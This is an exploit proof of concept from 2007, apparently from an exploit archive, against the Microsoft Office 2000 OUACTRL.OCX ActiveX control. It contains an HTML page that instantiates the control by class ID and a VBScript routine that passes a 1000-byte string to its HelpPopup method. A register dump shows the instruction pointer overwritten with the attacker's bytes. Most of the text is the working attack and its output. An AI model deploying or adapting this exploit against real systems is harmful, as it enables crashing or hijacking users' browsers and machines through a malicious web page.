Microsoft Office 2000 (OUACTRL.OCX v. 1.0.1.9) Remote DoS Exploit

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<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/23</b></p></span>
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<b>Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow
and winhlp32.exe Denial of Service (hey, don't you think this is a very long title :)</b>

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
control is set as:
RegKey Safe for Script: True
RegKey Safe for Init: True
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<object classid='clsid:8936033C-4A50-11D1-98A4-00A0C90F27C6' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
buff = String(1000, "a")

test.HelpPopup buff, "default"
End Sub
</script>

Registers content:

EAX 00000000
ECX 7E39EC0C USER32.7E39EC0C
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 38CFD2D0 OUACTRL.38CFD2D0
ESP 01D0F434 UNICODE "aaaa..."
EBP 00610061
ESI 02ACC86C
EDI 00000000

EIP 00610061
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